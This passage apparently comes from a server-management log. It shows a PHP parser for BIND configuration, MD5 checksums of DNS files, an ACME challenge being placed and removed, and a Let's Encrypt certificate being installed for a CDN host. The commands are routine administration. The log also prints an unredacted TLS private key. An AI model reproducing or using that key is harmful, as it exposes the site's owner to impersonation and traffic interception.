		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-20 10:28:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp558046; rm /tmp/pkp558046'

2025-12-20 10:28:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-20 10:29:07: Establishing a connection
2025-12-20 10:29:08: Establishing a connection
2025-12-20 10:29:09: 

PUT: /tmp/pkp275471

#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-20 10:29:09: 

chmod 755 /tmp/pkp275471; /tmp/pkp275471; rm /tmp/pkp275471

2025-12-20 10:29:10: 


1


2025-12-20 10:29:11: Establishing a connection
2025-12-20 10:29:12: 

PUT: /tmp/pkp195946

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
cat > 5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo


2025-12-20 10:29:13: 

chmod 755 /tmp/pkp195946; /tmp/pkp195946; rm /tmp/pkp195946

2025-12-20 10:29:13: 




2025-12-20 10:29:17: Establishing a connection
2025-12-20 10:29:18: 

PUT: /tmp/pkp270050

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
rm 5tKeshx1iIAKpkxxbsRU1Ea5P05pMmjBWyDpxWrNYzo


2025-12-20 10:29:19: 

chmod 755 /tmp/pkp270050; /tmp/pkp270050; rm /tmp/pkp270050

2025-12-20 10:29:19: 




2025-12-20 10:29:19: Establishing a connection
2025-12-20 10:29:20: 

PUT: /tmp/pkp221814

#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt

cat > $temp_file <<'endmsg'
dd:fd:e5:15:02:36:70:98:4f:59:9d:fa:fe:02:00:5a

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBmoTELi4Uuvx4tgklT/hbiqDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIwMDkzMDQ2WhcNMjYwMzIwMDkzMDQ1WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCoomTk1riiyS7VdDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o
2/rdr1UBTjWmkeV474W0xVGCevGoexsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy
/7towuNTckcvM4V0hLKoeH8/c/NnJlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaB
peHGFWmuP6RO8pkPYs6lCs1mqUEeS+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdq
kx9GzfXsk9r9cIAEvfZQymZwVD3FO4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6c
Hf6BQny4sKTSCd5uSBlP0nAy4z4waM3IyCwdAgMBAAGjggIwMIICLDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFHp/wMOqavXxz/lWmOz1BOkACTQ8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQw
IqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNC5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZs7TnZ0AAAEAwBIMEYCIQC4SCwbPkCNSJZ+5cBxav5LlP2j3cK+25aZ6ItFyOUn
QwIhANI95kCB4zUkKmaTHGTJRFpoIC0Uwyrcs9WPCr/sN7NBAH4AGoudaUpXmMiZ
oMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbO054KwAIAAAFACfTg38EAwBHMEUC
IDiwkNjMLBoxYvWo/ldBxGzrfI7TB1DZEH+OhYMU8l+zAiEA245s+9x9K0N1i/vZ
O9hgp92qxgliNwlVKS0q87lb7bQwDQYJKoZIhvcNAQELBQADggEBAM0xvIPqCAWi
AyrakqJLcFJJGB5x+3+PH9GnWYacT45TCTPnA/m8MnWgt0tn3Tl8QWUN/yGJ4PK0
S/UN0e3cH+QbUf8He0sru+LJDtL4PlS5UvcVMAARqxxb9p9GJyvq8UVE3b5Dlh4h
jPaivdFYLcemQDMs6Q5gsZ1+hoWsNbK0celEyasrvh+jkt4eg61l2xECkcny7inh
maHBORl8QrN8bMp4macqRKlCf010+e+KCxWU2fuDmSW2f5f7Y6XT0roi2e9qNO+E
eR6q5FfAdpBEni9WMXJ16tocT9Pkw42PhS6pRiCN+z6OE36DzOTyKvWUBrJnKw0D
LvYSth30uBs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoomTk1riiyS7V
dDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o2/rdr1UBTjWmkeV474W0xVGCevGo
exsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy/7towuNTckcvM4V0hLKoeH8/c/Nn
JlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaBpeHGFWmuP6RO8pkPYs6lCs1mqUEe
S+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdqkx9GzfXsk9r9cIAEvfZQymZwVD3F
O4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6cHf6BQny4sKTSCd5uSBlP0nAy4z4w
aM3IyCwdAgMBAAECggEBAJnGTF7o9sFq18xKBe/4NGPGCFKHjA/97dG41fWOfgVN
Z68Q8hV+U8sngUqJeR8F181qDfEEJgnn9sn+SG5QAol8VwnWAPZlIIKEnFvd6fVI
bxxtcPj9/nXPkeCcSxFd2AqinxBFoTPJlmGvddNbrsuJSbRL0l/FgVOzj2xYT63T
ukxvKStiZMxfGAWX0XGjFXyWphF4fUYX4ADAEjtIYtmWwqS1Vuwz2dpnrmIwoQqs
Fnk5jQLSjxp2ClajeVFP1FCpcTEkLboCyckSAJa9o0oatvR6+Fs6L8K0NJmWI2sc
+fbOC83gTx/SvJQlbde1YKs8lvQzWqr5mLkszX+p9/kCgYEA2k6FihG618apGwTu
RZLQJ4FhmiVtAQvSbHqX6JUVwYJAqdqvs54+ah/HZWdtvTxGJ+ZQ+rDen8xwxaey
ufDpVio1UNhucjobLZ9ENPoIjfkVY405/J7jnFndaJiI+AufrOyP0YJIa8EFuI2Y
WLqMmJHdKXchmRxkv2KQQpBtqacCgYEAxcBH0FU9yjyK82zTIE6kWFEZXLIirsco
z5UCikedvBUSnY5Uvf9GEJQRTkX5aO/1Y8lCnzTI9QAEkJanvtI/iKPtPpL9Nnzd
5i141U5errMe2NGlM5RAtHJMJm+MTISNzP0wMddTYUhdM07wxrguaLxlccZl8xWe
ftxaNRCwbJsCgYA+QrS9Ou9ByOvDw/U8rHFnQvQWJWRgLwH1ZEVc1OAej0pn5vHD
VXdRhvy0Q/o9RSpxCLPBu53Sj1j+ViSX+UhjBaitBP0C4OWNbmXiggjcjNR3zvhh
vuMFXW/S++XccFw60kD2LKUA7kz2ZJO1gobEoJ0lzU8svrdRCghAo7ZS8wKBgCAG
0hqlk4pLX92oxFC5K9i52bevifpweuWTpoOqsZsido9Z29OhokFRGbRplMkwA7gT
glyyedFkHVklbSl0d6GzmtrFh4jplC6RMr6pIKB+lgJbgbvmyMvwrvCSpFBIL4cB
gmqwCur4g0+p+0jTz4Ba8rsIfL5vw+mb2mg5ubj9AoGAAMHygdC3+Uli5wzQf6YO
KFi1XbO1SltqAD7R961gUvbxtIAbzcPrEsqsUvLWnNCUHZ/rzBwDCPfO+2//gQnt
r8z5soNSj4b+nCYWqP3xMyaZcH/+EfdW48iyZdMZdzAGUwKFAtMzhNPSQ5U4ihMd
XbDJORI9d+fSIpw4ipC5+PQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
